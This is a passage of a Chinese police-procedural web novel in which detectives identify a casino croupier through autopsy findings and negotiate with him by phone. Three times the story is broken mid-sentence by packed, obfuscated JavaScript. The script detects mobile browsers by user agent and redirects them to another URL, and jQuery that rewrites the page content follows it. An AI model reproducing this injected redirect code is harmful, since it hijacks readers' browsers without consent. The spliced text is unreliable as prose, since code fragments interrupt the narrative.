陈法医被他平心静气的应对弄得有点不知所措,这可不太高尚桢了,不过眼前一堆事,顾不上管他的异常,只横他一眼,招呼两名刑警帮忙将棺材抬进去,“我干活,你也别走了,在外面等着。” 他坏心眼的下了吩咐,在走进法医室的一瞬还在奇怪。 ——高尚桢这小子刚对着空气说了啥?好像是“我死了?” ——这回真死了。 高尚桢想,看着法医室的大门在眼前关闭,身体向后一靠,贴着墙,抬起头,眼睛盯住天花板继续发他的呆。 法医室里隐约传来了动静。 ——开棺了。 他麻木的想,我应该去帮忙,可我一点不想动怎么回事。 ——死人就这样。 ——……死了死了死了死了。 ——…… ——……算了,死就死吧。 他揪了把头发,认命的垂下头,在脖子上揉了揉,怕冷似的将手插回上衣口袋。 怎么办呢?他想。 还是第一次,他感到迷茫和不知所措,案情从脑子里统统溜走,只剩下没用的,乱七八糟的,让他心烦意乱的东西。 口袋里的手碰到了有点硬的扁状物。 他静了下,然后意识到这是什么,指尖开始在上面慢慢打滑。 …… …… ——原来早就死了一半了。 ——今天不过彻底死透。 ——杀人还要诛心。 ——这个凶手…… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16652207|188261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >不远传来滴的一声,电梯门悄然打开,有人走了出来。 高尚桢没抬头。 ——凶手来了。 他想。 来人的脚步由远而近,向他逐步迫近。 他咳嗽了一声,继续研究天花板上的灯管,像往常那样,随随便便的开口:“你回去休息,我在这里盯着,差不多了。” 程宥才去楼下的自动贩卖机里新取了一瓶矿泉水,闻言摇摇头,“我等陈法医处理完。”他拧开瓶盖,“有可能他会需要其他支援。” 高尚桢后脑勺慢慢磕着身后墙壁,“随你。”他说,声音又低又轻。 等了一会,他慢慢的从口袋里掏出那个扁状物,手指用力从中间掰断,将半块递了过去,“给。” ……又是巧克力。 程宥看都没看,直接拒绝,“不,谢谢。” ——高组长的最爱,2.99一板,人工香精,氢化油…… 他才解析到这里,手已被一把抓了起来,强行塞入一个硬邦邦的扁状物,“超高纯度,百分之九十九点九的可可。” 高组长干巴巴的说。 程宥:…… 奇怪。 他想。 原来人死了连口味都能变,高尚桢呆滞的想。 前天全部囤货被消耗干净,他忙里偷闲,跑到附近那家新开的,贵得不能再贵的,专门宰警察的,非常高级的,超市进行补给,一眼就看到货架最高层的这款包装格外深沉,价值49.9的巧克力。 他对纯黑包装上的“健康”二字嗤之以鼻——行,等哪天罪犯不开口,我就自掏腰包,送他试试这款健康巧克力。 他继续前走,准备去拿那个咬下去咔嚓一声脆响的老相好,走开几米后,脚步慢慢的停下。 他倒退了回来。 他伸手取下了纯度为99.99%的巧克力。 这么健康,他想,程宥会喜欢。 49.9……这个老板怎么不去抢。 程宥抬腕看表。 现在是凌晨三点十四分。 ——纯巧克力含可可碱和少量咖啡因,对中枢神经有刺激作用,并不适合这个时间段。 ——晚餐的咖喱羊肉热量很高,虽然仅仅补充了二分之一,还是能够支撑到明天早上。 ——所以…… 他慢慢剥开了这一半巧克力的包装,将它送进嘴里。 ——苦。 ——真有人爱吃这个? 这一刻如同嚼着焦炭的两人同时这样想。 39. 找到 上午十点半,陈裕理终于从法医室钻出来了。 他一面脱手术衣,一面对着半身镜研究脸上新钻出来的痘痘,忽然听到背后有动静,回头就见害自己不能美容的罪魁祸首一咕溜从地上爬起来,揉着眼睛凑近,“老陈,怎么样?” “小陈。”陈法医第一千次恨恨纠正,看他身后没人,“调查官呢?” “他得休息。”高组长抻了个长长的懒腰,打了个大大的哈欠,伸手擦擦眼睛。 仿佛奇迹一样,他整个人随着这个姿势重新恢复了精神,又变成了陈法医那个熟悉的格外招人恨的同学,“怎么样?有结果没?”他笑嘻嘻的搓着手问。 陈法医态度冷冰冰,“我说没有你得拿手铐把我锁解剖室里吧?” 高尚桢哈哈的笑,“哈哈哈,看你这话说的,咱俩谁跟谁呀,哈哈哈哈,对吧,到底有结果没?哈哈哈,快说呀你。” 陈法医觉得自己迟早得被哈哈出心梗,他磨着牙叹气。 “谁敢说没有!” “整个红驼城,不对,整个地球,跟你高大爷,谁-敢-说-没-有!” ============== “有结果了。” “尸体一的身份是调酒师,案发时已在银脊工作六年,年龄35岁,这是他的尸检报告。” 会议室里,面对回了半血的组员们,高尚桢介绍着白色幕布上的尸体照片,熟练的开口,“卫其——卫其宏人呢?” “付助理打电话问昨天为什么没人去莞荟苑保护。”安月见替他做解释,“所以卫师兄要去看看,他说早点过来。” 半夜加半个上午的休息自然不足以界至野恢复精神,他心情不好嘴就更碎,“看什么看,这个助理眼镜厚得跟瓶底似的都看不出林律奚这小子有问题,保护啥保护……” 然后他就看到同样带着眼镜的盛苒瞟来一眼,赶紧摆手,“我可没说副组长你啊。”还是不甘心,又仍旧挣扎着吐出最后一句,“再说杜蒙那边不是又派来个保镖吗?我看新来的这个比原来的强。” 高尚桢知道他嘴里必须得嚼点啥,不是烟杆就是废话,反正有盛苒控场,他也懒得理, 他习惯性的扫了一眼门口,椅子上空荡荡的没人,极快的收回目光,开始读报告,“……在爆炸发生时当场死亡,尸体高度炭化,头面部和前胸缺损严重。经现场勘验,尸体右脚踝银链上的字母缩写为‘LQY’,推定身份为调酒师罗潜一。” 他又捡起举起另一份手写文件——其实就是两张A4纸,上面字迹还很潦草,“这是新的法医报告,情况基本吻合。” 安月见昨晚不在警局,加上界至野又迟到,她没有亲眼见证(听他白话)奇迹,还以为银脊那边又连夜做了一次法医检测,虽震惊于其超高效率,仍不免感到奇怪。 “组长。”她试探着问,“我不懂,为什么要重新做法医检测呢?你认为他们八年前做的尸检不够全面吗?” ——不能吧,她想,那可是中央情报司啊,再说都过了八年了,虽然银脊那边高寒天气,对尸体保存有利,但是毕竟过了这么久,肯定不能像案发时那么完整,有必要挖出来再做一次尸检吗? 高尚桢坦然摇头,“不,中央情报司的工作做得非常好。”他拍拍了蓝色封皮的厚厚文件,“非常完整,陈法医承认不给他一定时间他做不到那么细致。” ……陈法医,三楼的陈法医?干他什么事? 安月见更迷惘了,听到组长继续,“不过这次我对陈法医的要求是,先仔细看一遍员工的年度体检报告,然后根据体检报告重点做某些部分检查。” 他又拿起一份黄色的文件夹,伸手在上面点了点,“银脊这种高级赌场,每年都要对正式员工做体检,起码得确认他们没有传染病之类的,精力和体力都跟得上才行。” “之前我们已经推测出蛇矛的内应是长期员工,他的体检报告肯定也在其中。既然当初的法医没查出来,这说明他和被冒名替换的死者,两者起码在年龄,体型和健康情况上,并没有很明显的差异,所以我让陈法医着重观察那些细微的地方。” “别忘了,当初中央情报司面对的是几十具尸体,他们已知这些人死于袭击,当务之急是核对死者身份,中间不要出纰漏。” “而他们没有纰漏的标准,是人数符合调查情况,有明确身份证明,只要不是残疾这种写在体检报告上非常明显的情况,他们不会留心。” “毕竟……” 他正侃侃而谈,会议室的门悄然被推开了,换了身西装的程宥悄无声息的出现在门口。 经过4个小时的休整,此时的他看上去又干净又清爽,疲倦一扫而空。 高尚桢唇边泄出一丝笑意,他很快低下头,飞快的咳嗽一声,再抬起向他点了下头,流利的接了下去,“毕竟有个什么高血糖高血脂之类的,到这时候也检测不出来了。” 界至野哈的笑出声,马上意识到场合不对,赶紧收起笑容,板板正正的坐好。 盛苒在眼镜下看他一眼,无奈的摇摇头。 ……不过组长确实情绪高昂,都开始讲笑话了,真是压力越大斗志越强。 她十分佩服的想。 座位上只有安月见全心投入,听入了迷,甚至忘了发言之前要举手,“那找到这个人了吗?”她大声问。 高尚桢笑起来,眼睛映着窗外日光,闪闪发亮,“当然!” 他将第三份尸检报告摔到桌面上,“当然!” ============================================ 体检报告 姓名:度安源 性别:男 年龄: 29岁 体检日期: 41-07-12 主诉 / 既往史(病人口述): 1. 最近一周常感头疼,偶有轻微眩晕。 2.夜间易醒。 3.三天前感冒,轻微咳嗽,已自行服用感冒药。 4. 颈肩偶尔不适,休息后缓解。 5. 偶尔手腕麻木,尤其是左腕,做过短暂理疗。 6. 偶感疲倦,注意力不集中,需午休缓解。 7. 心情波动大,易烦躁、紧张。 8. 偶尔眼睛干涩、视物略模糊。 检查与化验结果: (一)体温,血压,心率,呼吸,血常规,尿常规,肝功,肾功均正常。 (二)四肢骨骼。关节活动度正常,未发现明显外伤。 (三)颈肩肌肉张力略紧(与自述相符),左腕轻度活动受限。 结论: 该体检者无影响岗位健康的传染性疾病。 主检医师签名:李XX 复核:常XX 日期: 41-07-14 这份体检报告在警官们手里传阅,每个人都用30秒读完,用剩下的30秒皱眉。 倒是挺容易懂的,不过好像没什么关键线索,头疼眼干什么的也查不出来吧。 安月见疑惑的想。 这个体检地方不咋地,不如警局给约的全面,这些毛病我也有……对了,今年检查还没做,去年说我气管不太好,要戒烟,今年是不是还得查一遍? 界至野胡乱的想。 暂时没有看出有何值得注意的情况,不过陈裕理是专家,又有组长指导,肯定有值得挖掘的地方。 盛苒神定气闲的想。 “度安源是在银脊工作了七年的资深荷官。”高尚桢介绍着,“他这份体检报告上这些问题,比方说肩颈不适,手腕麻木等,很多人都……当然不是很多人都有,有些人就完全没有。” 他说到这里,又忍不住向程宥笑了下,“不过确实很常见,所以当初的法医很自然的忽略了。” 界至野揪着胡子,扭了扭身体,他想老大是在刺儿我吗?是不是提醒我该去做体检了? ……对了,今天他为啥这么喜欢笑? 不,不对,他不是喜欢笑,他是喜欢冲着调查官笑。 …… …… 啊? 啊? 啊啊? 啊啊啊? 啊啊啊啊啊啊啊啊啊? “不过联系到他本身的职业,荷官,再看这些口述就不同寻常。” 高组长微笑着拿起一张纸,“这是陈法医做出的尸检报告。”他读了起来,“尸检显示死者男性,骨龄三十岁上下,整体骨架健壮,颈椎排列平直,关节面光滑,左腕腕骨及掌骨关节完整,无任何旧损痕迹。 说完,他又拿起另一张薄薄的纸,“这是在尸检之前,我要求他根据体检报告做出的推测。” 他朝程宥看了一眼,又笑了,“算是生理研判。” 界至野:…… 不要抢我表妹夫哇! 程宥并没有听到表姐夫的呼唤,他认真聆听着分析,目光始终追随着高尚桢。 “……体检报告里死者自述‘颈肩不适,左腕间歇性麻木’,这类改变与荷官职业特征相符,属常见慢性劳损征象,推测应该有颈椎生理曲度轻度反张和腕关节轻度劳损,然而本次尸检影像学,并未见到遇上述相符的病理现象。” “所以……”高尚桢的手插进裤袋,环视周围。 他不再笑了,取而代之的,是一种近乎傲慢的自信与坚定。 “这个度安源就是我们要找的人。” “银脊的荷官,蛇矛的内应,是偷走周乐天手表的人,也是手握情报司目标物品的人。” “常年居住在本城的人。” “为什么是红驼?” “这就是答案。” ========================== 度安源,男性,出生日期及籍贯不详,直系及旁系亲属不详。 35年6月初,担任银脊赌场初级荷官,39年升任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16652208|188261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高级荷官,主要负责瑞峰贵宾厅牌桌事务及筹码结算管理。 据其同事案发后证言,度安源社会往来有限,住所长期为赌场职工宿舍。 42年1月9日,于银脊赌场劫案确认死亡。现场勘验时遗体高度碳化,经身份铭牌和血型比对确认身份。 短短几行字,就是这个叫做度安源的荷官全部生平介绍,此外,资料上还附了一张照片。 高尚桢看着上面那个面孔瘦长,颧骨微高的男子,眼睛咪了起来。 抓住你了。他想。 这个想法和疲倦一起,被潮水裹卷而来。 高尚桢觉得脚步很重,腿很疼,眼皮很沉,头要抬不起了。 今晚或者明晚,度安源就要来电话,我这个状态不行,必须马上休息。 他脑子艰难的转了几转,看界至野正在左右摇晃脑袋,“老界,你去休息室再躺一会。”界至野听到这里大喜,接下来一句又马上让他萎靡了,“……今晚还不知道要干到几点,得攒攒精力。” “好。”他蔫头蔫脑的回答。 “盛苒,你去做个案情整理,记住,不能写的不要写。” “好。”盛苒起身看看他,“组长,我看你也要需要休息。” “我知道。”高尚桢挥挥手,看向安月见,“虽然希望不大,小安,你尽量查查这个度安源的线索。对了,把案情同步给卫其宏。” “是。组长。” “还有……咳,程宥。”他突然有点不知该说什么,猛劲咳嗽一声,“这些资料都是绝密吧,你带来的,不管怎么处理,都得清点一下,不要少了。” 他说着动手将几张椅子拼在一起,自己躺了上去,“你看着,我在这里睡一会。” 高尚桢再次睁开眼睛时,四周黑漆漆的,他困难的眨了下眼,又眨了下。 我在哪?他恍恍惚惚的想, 他身上暖烘烘的,暖得让他不想动,不过腰的下方有点膈,他迷迷糊糊的扭了下,听到椅子和地面发出的摩擦声音。 他睁开眼睛,窗外的车影流过了天花板,昏昏的,又有些亮,很快的就晃过去去了。 然后,又是一辆,接着一辆。 一桢桢的,之前的画面都串了起来,他想起了自己躺在并排的几张椅子上,然后模模糊糊的,好像有人过来,为他披上了衣服。 “程宥。”他轻声说。 黑暗里,有人忽然开口回应,“你醒了。”然后就是椅子被推开的声音。 高尚桢微笑起来,目光仍旧追逐着天花板上的流影,“别开灯。”他说。 黑暗里的人影停了停,又坐了回去,“现在是6点44分,今天周五,地下餐厅8点关门。” 高尚桢从披着的衣服里抬起手,捂着眼睛,无声的笑。 “你吃了吗?”他问。 对方顿了顿,似乎有些奇怪他为什么这么问,“是。如果你需要……” “不。”高尚桢声音懒洋洋的,“你就在这里,别动。” “大部分资料已经处理完毕。”程宥揉着手腕——即使是朗基努斯之枪,也要和碎纸机慢慢较量——“只留下有关嫌疑犯的那部分……” 高尚桢打断他,“你给我盖的衣服?” 一个突破常规的问题,不过程宥还是马上给出正确回答。 “是界至野。他在办公室里有多余的衣服……” 兹啦—— 他的话还没说完,高尚桢已从椅子上翻身而起,将暖烘烘的衣服推到了旁边。 难怪味道有点不对,他悻悻的想,突然又想起另一件事,“上次在停车场,你从哪里找到的外套?” 又一个突破常规的问题,不过程宥记忆力很好。 “在你前车座底下,当时被你踩住,”他开始回忆,“你的车里还有两件衬衫,T恤,以及袜子……” “别说了。”高尚桢彻底精神了,他抹把脸,有点沮丧的嘀咕,“我洗过了……我身上穿的这件就是。” 但是和原本颜色还是有些差距,程宥想建议他送去干洗店,又考虑到红驼警察的平均薪水,于是很真诚的给出了最佳建议,“碳酸氢钠和白醋混合在一起,效果会更好。” 高组长想说我化学知识都还给高中老师了,你不如直接告诉我是小苏打,不对,我为什么要跟你学怎么洗衬衫…… 他叹口气,趴在桌子上开始挠头发,“你薪水很高吧,难怪整天换西装,是不是能随便干洗?” 问题是越来越奇怪了。 程宥想,不过考虑到高组长的确有实际需求,还是决定分享情报。 “这是差旅费的一部分。”他告诉高尚桢这个让他心碎的消息,“联合调查处享有最高标准的报销额度。” 不要让我听到报销两个字!我又会想到界至野! 高尚桢内心开始咆哮。 说曹操曹操就到。 界至野一把推开门,顾不上开灯直接大喊,“老大,有电话!” 40. 拒绝 “我的礼物怎么样?高警官。”电话里仍旧是使用变音器的男声,不过这次背景音有些嘈杂。 高尚桢目光从地图上一掠而过,“这么多年了,这位先生对银脊还记得很清楚。” 组员们围住他,侧耳静听。 信息处理室的三名警员一直紧紧盯着计时器,上面的数字正在不断增加:10,11,12……等迈过60秒大关,反向追踪的成功几率就很大了。 对面呵呵笑了起来,声音愈发刺耳,“这回高警官相信我的身份了吗?” 一名警员拼命在计时器前比划着,示意高组长尽量拖延时间。 “当然,你拿出了诚意。”向警员点点头,高尚桢向以同样的语速回答。 他又将目光投向程宥,对方静静的坐在一边,聚精会神,保持聆听,“你说你知道真正的案件真相,我很有兴趣。” “呵呵,高警官,做生意讲究诚意。在我和你们合作之前,你得拿出点些诚意来。”男人有点调侃的说,周围的嘈杂又大了一点。 35,36,37秒…… 纪录警员屏住了呼吸,随时准备启动追踪。 高尚桢皱了皱眉头,这家伙这回没有急着挂电话。为什么? 他目光又移向程宥。 调查官手里的矿泉水瓶纹丝不动,人也瓶中水线一般,波澜不起,然而他的目光低垂,双肩微松,不再如之前一样凝注紧绷。 ……程宥判断不可能追踪成功?为什么? “你需要什么样的筹码,才觉得我们够诚意?”高尚桢在“筹码”这个词上加了重音。 38,39,40秒…… 果然,对面人在听到“筹码”二字,停了一下,很快就哈哈大笑起来,掩盖了身旁的喧哗,“看起来警官你猜到我曾经在赌场工作。” 57,58,59…… 60秒! 电脑上刹那间跳出一个大大的信号,信息警员开始全力追踪。 “我在离开时,曾拿走了一点东西。”对面男子似乎有点迟疑,“它们还在我手里。” “当然这并不是特别大的问题,不过——”他拉长了声音,“我需要警方替我背书,从检察院那边争取豁免令,从此免于一切起诉;除此之外,你们还要把我纳入证人保护计划,否则一切免谈。” 密密麻麻的通信参数从屏幕上跳了出来,信息疯狂变换。 高尚桢站起身,来到屏幕面前,看到上面有个小红点正从城市地图网络间迅速穿行,全力向西南方向行进。 第一街区……第二街区……第五街区……第八街区…… “这份筹码真不小,”高尚桢在笑,“我怎么知道你手里的东西值得?你要讲的东西值得?” “高警官,我们打开天窗说亮话,我知道你在追踪我的电话,你也知道银脊丢的东西很重要,那几十条人命背后的真相更重要。我给你五秒钟考虑时间,如果你不同意,我就挂断电话,马上离开红驼。” “我要开始计数了,你的回答呢?高警官?” 第八街区……第八街区……第八街区…… 屏幕上的那个红点慢了下来,然后越来越慢,高尚桢看到负责追踪的警员脸上露出了迟疑。 “1,2,3……” 他转过身,面向自己的组员们。 界至野,盛冉,安月见,卫其宏。 他们站在他面前,呼吸屏紧,神情严肃。 他们在等他的答案。 他低下眼,看向程宥。 程宥并没有看他,但是他知道他也在等他。 电话这端,高尚桢笑了。 “我的答案是不。” “警方绝不跟杀人犯做交易! “度安源!” “你怎么……” “可你有的选吗?度安源?” “蛇矛在红驼,当年的复仇者也在红驼,他们都在找你。” “除了我们你无路可去。” “我给你一夜时间,明天12中午十二点,我听你答案,荷官先生!” 高尚桢挂断了电话。 “跳点了,信号进入第八街区中继基站G11,”警员摘下耳机,无奈摇头,“G11在体育中心西侧,今晚那边球赛。” “五万多人在现场,信号拥堵,追查不到。” ========================== 以程宥判断,这场电话谈判分明失败了。 高组长没有控制住自己的情绪,竟抢先于荷官之前挂断了电话。 这条线索断掉了。 可为什么周围的人这么激动? 为什么安月见眼圈红了?为什么盛苒笑了?为什么界至野哈哈大乐,为什么卫其宏在立正? 为什么周围所有警员全部起立,向组长齐齐敬礼? 他不太理解,不过他开始考虑下一步计划。 得换其他解决方法,需要联系情报司。 度安源不会来电话了。 “度安源一定会再来电话!” 高尚桢的话掷地有声。 “他以为自己在谈条件,可他没有!” “他并不是在谈条件,他是在求生!因为只有警方能救他,哪怕他再虚张声势,他也知道,只有我们能救他!” “现在我们戳破了他的画皮!” “他会害怕,会迟疑,他会犹豫,会后悔,他会整晚都睡不着觉。” 高尚桢背对玻璃窗,身后万家灯火。 他整个人熠熠生光。 “然后会再给我们打电话!” 掌声如雷,一瞬响起。 高尚桢将电话塞回口袋,笃定的笑了。 这个人心理学一定学得非常好,程宥看着他,想。 警察们已经散去了,可他们的掌声仿佛还在周围回响。 办公桌前的程宥思考着,他又一次自愿熬夜加班,开始记录这一天的工作,在描述到电话谈判的时候,他难得迟疑了。 所以结论是成功了?还是失败了?还是暂时未知? 他的手在键盘上停了几秒,摁下DELETE,把之前的一段陈述都删除了。 高尚桢说明天度安源会来电话,我可以再等24小时。 第一次没有在工作日当天完成报告,这是0到1吗?然后从1到2,2到3,到100,最后会不会变成传说中的“拖延症”? 程宥摘下眼镜,按压着眼眶,感觉自己面对着前所未有的困境。 然后他发现,更大的困境马上就来了。 高尚桢从洗手间钻出来,笑嘻嘻的来到他桌前,他刚洗过脸,双眼炯炯明亮,精神焕发。 “在做什么?”他凑上前,要去看屏幕。 程宥闪电般按下锁屏键,“高组长,”他从椅子里半仰起头,很不高兴,“你的行为……” “Cadenza by L’Aria。” 其实啥也没看到的高尚桢嘴里吐出这个名字,其实不止他的嘴在吐,他兜里的钱包也在吐。 吐血。 “我查了,十二点关门,可以去试试运气。” 程宥:…… 程宥开始收拾桌面,“已经过了用餐高峰,他们设有四张单人桌,还有十人吧台,你可以去。”他将格尺和计时器分别放进公文包夹层。 ——上次提出用餐建议时,并未将红驼警察平均薪水计算在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16652209|188261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内,失误。 ——不过这个人是刑事组长,根据西部情报组预测,他会在三年之内接任联区刑事调查部主任。 ——所以其薪水应该远超平均年薪。 根据现有情报综合判断,程宥决定还是不要为高组长的钱包操心为好,在用纸巾擦净桌面后,他拿起除尘剂开始清洁键盘。 ……然后就看到高组长一屁股坐上了刚刚被擦过的,无比干净的,他的,办公桌。 “两人桌有多少张?”高尚桢晃着手里的钥匙环,坐桌上居高临下的看他。 “十四张。” 程宥应声而答,观察着他裤子上的皱褶和灰尘,陷入了思索。 ——他刚从洗手间出来,洗手间在西翼,目前时间9:39PM,清洁工应该刚清洁完东翼,本层清洁工的习惯是从西到东。 ——也就是,洗手间还没有清理…… “我们去吧。”高尚桢抬腕看看表,“九点四十,来得及,上次你不是说只有五公里吗?现在人不多吧,是不是不用订桌?” “这个时间段,开车过去六分钟。”程宥机械回答着,仍盯着高组长裤脚上蹭出的可疑痕迹,“过了高峰期不用预订。” ……我要再把桌子擦一遍吗? 等一下,他说我们…… 他终于不再关注那条碍眼的裤子了,开始环视四周,确定空荡荡的办公室里,只有他和高尚桢两个人。 “如果‘我们’这个代词包括我,”他推开办公椅,站起身,“不必了,我已经吃过了。” 同时下定决心。 ——为了保持良好的合作关系,桌子可以等到明天擦。 ——擦两遍。 “别,别,”高尚桢一把拽住他胳膊,“陪我去。” 程宥把自己的胳膊从他爪子里抽出来,“你的车有问题了?需要我送你吗?”他脑中飞快的过了下老式雪佛兰的机械情况,“只要不是引擎的问题,我可以……” “不是。”高尚桢简直被他打败了,“我要你陪我去吃饭。”他咳嗽一声,郑重其事的说:“陪我去,两个人。” “我吃过了。” “你陪我吃。”高尚桢看着他的眼睛,慢慢的说,“不想吃就喝你的矿泉水也行。” “ Cadenza by L’Aria 不允许客人自带酒水。”程宥跟他耐心解释,“他们店内的矿泉水比一般要贵4.5倍。” ——警局一楼大厅贴着上周的通知:趋近年底预算吃紧,请大家尽量注意支出。 ——通知来自最高警署。 ——虽然情报司并没有发出同样通知,但是我是联合调查处的成员,对两个部门的规定都应该遵守。 ——所以不能…… 神奇的,高尚桢完整的读出了他的想法,打断了他的结论。 “我请你喝水,”他翻了个白眼,“我自掏腰包。” 他看到程宥又定住了,显然脑子里的程序运行得有点慢。 高尚桢不翻白眼了。 他笑着伸手整理程宥的深灰领带,“陪我去吧。” 程宥低下头,看着原本整齐的领带被拽得有点斜,大脑里运转得更加迟滞。 ——高尚桢非常喜欢肢体语言,最近对这种语言的运用更加积极主动。 ——他心理学知识也非常好。 ——熟练运用肢体语言=心理学知识的一种。 ——我始终没有掌握这门技能。 ——应该多向他学习。 程宥点点头,拨开高尚桢揪着自己领带的手,“好。”他顿了一下,“我自己买水。” ——这属于个人技能发展的一部分。 ——不必报销了。 41. 赌徒 界至野一早跑来警局,想给搭档八卦自己的惊天大发现。结果到了才发现人不在,原来又被催去了莞荟苑那里。 得,这下想八也没得八了。他吧唧吧唧嘴巴, "卫其宏这小子最近跑律所跑得挺勤啊,是不是看上人家付助理了?" 安月见没怎么去过莞荟苑,印象不深:“付助理?就嗓子有点哑的那个女孩?不怎么太爱说话。 ”——和整天叭叭叭的卫师兄好配啊。 “对,戴眼镜的那个。” 界至野摇摇头, “查案子呢这,容易犯错误。作为过来人,我得跟他说说。" 他还要继续捣鼓,就看到门被推开,高尚桢大步流星走进来,思维就砰的一声撞了墙。 ——老大为什么穿这么新鲜?乍一看还以为是他刚到刑事组报道那阵子呢。 高尚桢今天穿了件白色的T恤,外面套件天蓝条纹夹克衫,连裤子也换成了米色,从头到脚,十分鲜亮。 这样衣服他原来有不少,后来调到刑事组,开头也穿得这么清爽,免不了就被老鸟们一顿笑。他不服气,坚持自己穿衣风格,然后发现整天摸爬滚打的,浅色衣服确实不大好穿,就一律改成黑白灰,再后来接任组长,有点担心自己镇不住这帮家伙,连白色都穿得少了。 几年过去了,组里的人退休的退休,调职的调职,人换了两茬,老鸟里只剩下盛苒和界至野,他也习惯了黑与灰。 昨晚他从餐厅回到家,兴冲冲的睡不着,半夜爬起来开始翻箱倒柜找衣服。还好还好,尽管大部分都捐了,总算留下两件。 他又从犄角旮旯把熨斗找出来,费老大力气给衣服熨板正了,总怕不利落,挂了半晚上。 这力气没白费。 安月见正在喝咖啡,一眼看到青春版的组长,只觉得杯子里的咖啡都不苦了。 原来组长这么帅,她想,就是经常皱眉,板着脸,笑的时候眼里也跟含了刀似的,我都不敢多看,一看就觉得是领导,忘了他其实比我大不太多……嗯,总感觉跟我叔似的……原来是我哥。 程宥正在擦桌子——第三遍了。 他也看到了高组长,和他天蓝色的条纹夹克,还有夹克衫领口上的两道小褶。 他低头继续擦桌子。 那个昨天钱包又狠狠吐血的高组长兴冲冲的冲到他面前,“你昨晚写报告没?”他自信满满的说,“可以加上一句,不出十二点,一定来电话。” 昨晚被迫听了两个半小时高组长从小到大的成长史,包括警校里的种种糗事,以及后来的各种英雄事迹,拖到饭店打样回到旅馆已经十二点二十的程宥:…… 他点点头,安静的回应:“谢谢提醒。” 高尚桢看着他直笑,直笑到界至野在他背后直翻白眼,才拍了拍手,“行,来大家碰个头,把目前情况总结一下。” 他站到写满线索的白板一边,再度恢复成那个严肃又凛然的指挥官。 “目前牙和那个黑客高林仍然在逃,虽然我们花了很多时间在度安源身上,但是对他们的追捕也绝不能放松!”他目光凛然,“必须全线提防,全线待命,再强调一次,三人一组,不能放松!” “还有,”他看向盛苒,“听说你取得了李延的一些相关消息?” 盛苒点点头,“目前还不完全确定,但是很有希望,我会继续跟进。” “好。”高尚桢点头,收回视线,语气一转,“今天的任务很简单,一旦度安源的电话打过来,根据情况,我会随时调配警力。安月见,你去联络各个分局,务必做好准备!” “是!” 还有三分钟十二点。 联络完分局后,安月见一上午都坐立不安,每隔几分钟就去瞅表。 度安源真的会在十二点之前打电话来吗? 要是不打怎么办? 她盯着电脑前的报告,一上午就打出来三行。 会打吧,组长就没错过! ……可要是电话信号不好怎么办?手机还有电吧?我要不要再去提醒他一下? ……应该没事…… 明明电脑屏幕上就显示着现在时间,她还是又抻着脖子去看表。 ……还有两分钟。 界大哥又去抽烟了,他烟瘾可真大……咦,他回来了。 盛姐也吃完饭回来了,哎,她心理素质好强,我紧张得吃不下去。 调查官在干嘛?呃,他在浇花。 ……还有一分钟……真的会来电话吗真的会来电话吗真的会来电话吗真的会来电话吗? 铃! 安月见几乎蹦了起来。 高尚桢轻嘘口气,按下接听键,“喂,我是高尚桢。” 对面传来的声音不再尖细,而是一个微带沙哑的男声,“我是度安源。”背景仍然嘈杂。 ——YES! 高尚桢紧紧攥紧了拳,“很高兴接到你的电话,荷官先生。” “不要试图追踪我的电话,高警官。” “不会。” “很好,我不得不承认自己很失望。不过同时对你也有了些信心,我只有一个要求,你们要保护我的安全。” “这是警察的天职,可我怎么确定你真的知情?” “我可以先告诉你点事情来证明我的价值,当面谈,你一个人来,地点我来定,短信告诉你。” “好。” “嘟——” 高尚桢放下电话,看向长长松了口气的组员们。 界至野又要习惯性的去摸烟,盛苒手里一直握着水杯没有松开,安月见手拍胸口长长松口气,脸上笑意难以抑制。 程宥……程宥在花盆里插了一根缓释花肥。 高尚桢晃了晃手机,笑了,“来,大家研究一下怎么布防。” 安月见有点懵,“知道地点在哪儿了?” “那还用说!”在盛苒的含笑凝视下,界至野又把烟盒塞回了口袋里,“不是露天餐馆就是临街咖啡店什么的,人流大,安全,随时能逃,就按这个思路布置没错。” 高尚桢点点头,“差不多,从分局抽调十几个人,我们组控制现场,他们负责埋伏在周围路口,还有监控这回必须搞利索了。”他的眼神犀利起来,“如果在这种公开场合他们还来一个‘什么都查不到’,别怪我翻脸。” …… 对高魔王的威胁,在场听众全部无语。 除了程宥。 他擦了擦手,满意的看着窗台上越发精神的植物。 驮铃公园。 傍晚,太阳依旧明亮,从公园外低矮的木栅栏间穿过,投在地面上一格一格。 五点半,高尚桢准时出现在公园外的街角咖啡馆。 咖啡馆门口挂着一串铜铃铛,晚风吹过,叮叮当当作响。他的手指轻轻抚过铃铛,来到靠街的一张桌子旁,坐下。 